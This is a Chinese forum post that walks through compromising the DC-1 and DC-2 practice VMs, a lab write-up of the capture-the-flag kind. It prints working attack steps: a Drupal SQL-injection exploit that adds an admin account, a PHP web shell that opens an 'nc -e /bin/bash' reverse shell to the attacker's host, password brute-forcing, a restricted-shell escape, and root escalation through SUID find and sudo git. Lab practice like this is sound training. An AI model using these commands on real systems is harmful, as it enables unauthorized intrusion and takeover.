本帖最后由 yunkof 于 2023-6-28 10:13 编辑
【DC系列01】DC-1靶机复盘
本人菜鸟在研究DC靶机,看了大佬的视频发现跟网上教程都不太一样,就复盘了一下想发出来。
第一次发,请大佬指教。
DC-1下载地址https://www.five86.com/downloads/DC-1.zip
首先收集信息进行ip扫描
nmap -sS -T4 192.168.197.0/24
打开后是这个样子
看到一个登陆窗口,但是不能爆破,连续爆破超过5次会被禁止登陆。
利用Wappalyzer可以看出来这个web用的是一个Drupal 7的内容管理系统,我们可以去找针对这个的扫描器。
经过不懈的寻找,发现了这个扫描器(droopescan)。
进入这个网站后寻找安装方法,发现可以利用pip安装。
我们就在kali中pip install droopescan安装
我们扫出来的版本是7.22-7.26,就可以去searchsploit drupal查找漏洞文件
查找了这么多,我用的是34992这个sql注入命令文件,然后searchsploit -m 34992下载就好了
这样就可以在数据库中添加自己的账号密码
账号密码都是tang就进去了
这个时候我们想的就是怎么做一个反弹shell
这里我们发现了flag3,点进去看看。
这里发现了需要用到find命令的-exec去读取shadow文件(密码存放文件,密文),所以这里想到了可能等会儿需要破解密码。
点击Edit,我们发现这里的格式只能输入HTML或者纯文本,我们需要研究研究怎么上传php或者python代码。
经过寻找,在这里面发现一个PHP fillter,安装后就可以上传php代码了
安装好后发现还是不能上传php文本,所以又反过来找到了这个Permissions
进去后有个Use the PHP code text format没有勾选,这里我们勾选上。
这里我们就可以上传PHP代码了,可以上传个木马做一个反弹shell。
<?php system('nc -e /bin/bash 192.168.197.160 8888');?>
kali上设置一个监听,网页刷新下shell就过来了。
利用python代码可以看着好看点,能显示目录。
python -c "import pty;pty.spawn('/bin/bash')"
在flag3里面提到了find命令,可能关键点是find命令
sudo -l看一下,然并卵,什么都没有
我们可以利用另一个命令,这条命令的作用是查找普通账户下拥有root权限的文件。
这里我们找到了/usr/bin/find
find / -perm -u=s -type f 2>/dev/null
/usr/bin/find /etc/passwd -exec '/bin/sh' \;
find中的参数 -exec 执行找到的文件,find后面的/bin是什么都可以,但一定要是Linux中有的。
这里我们就可以利用下面命令进行提权,这里就有人说了,为什么不是bash,因为bash文件的权限不够。
接下来就可以轻松拿旗了
【DC系列02】DC-2靶机复盘
第一步我们还是先扫描出靶机ip地址
nmap -A 192.168.197.0/24 -p-
ip是192.168.197.168 并且还扫描出ssh端口是7744
我们找到ip地址后要设置个东西,在hosts文件中加入这么一行。
linux直接在/etc/hosts文件中最后添加就行
Windows是WINDOWS\system32\drivers\etc\hosts这个目录,在hosts文件最后添加这么一行就可以
然后我们打开网站,在Flag看到了提醒,就是告诉我们只需要cewl扫描出来的字典就行,密码都在这里面。
cewl http://dc-2 (-d 目录深度,默认是2.-w 写到一个文件中)
cewl http://dc-2 -w dc2_pass.txt
cat dc2_pass.txt|wc -l 查看有多少行
从主页我们就可以看出来这是一个wordpress搭建的网站
wordpress登陆地址/wp-login.php
wpscan --url http://dc-2/ --enumerate u 可以查找这个网站有什么用户名,这样我们用户名也就都有了
然后用bp最后一个模式(集束炸弹)来爆破一下,找到了两个账户
经过测试两个都能登陆login.php,但是没什么用
后来经过尝试tom可以ssh远程登陆,这里要注意端口号是7744
进去后我们发现好多命令都不能用,甚至cd都不能用,经过尝试发现vi这个命令可以用,less也可以用。
这时候我们vi一个文件,然后冒号:,输入以下命令。
这个shell需要时系统中原本就有的变量,不能自己捏造变量。
set shell=/bin/sh
然后在shell一下,就自动退出vi编辑器了
这时候执行这个代码,命令权限就有了,原本su命令是不能用的,现在就可以用了
export PATH='/usr/bin:/bin'
jerry不能远程ssh登陆,这里我们su jerry登陆。
登陆成功后sudo -l查看能使用什么root命令,发现可以使用git命令。
在网上搜索git命令怎么提权。发现很简单。
只需要先输入
sudo git -p help
再输入以下:
!/bin/bash
就提权成功了!!!
|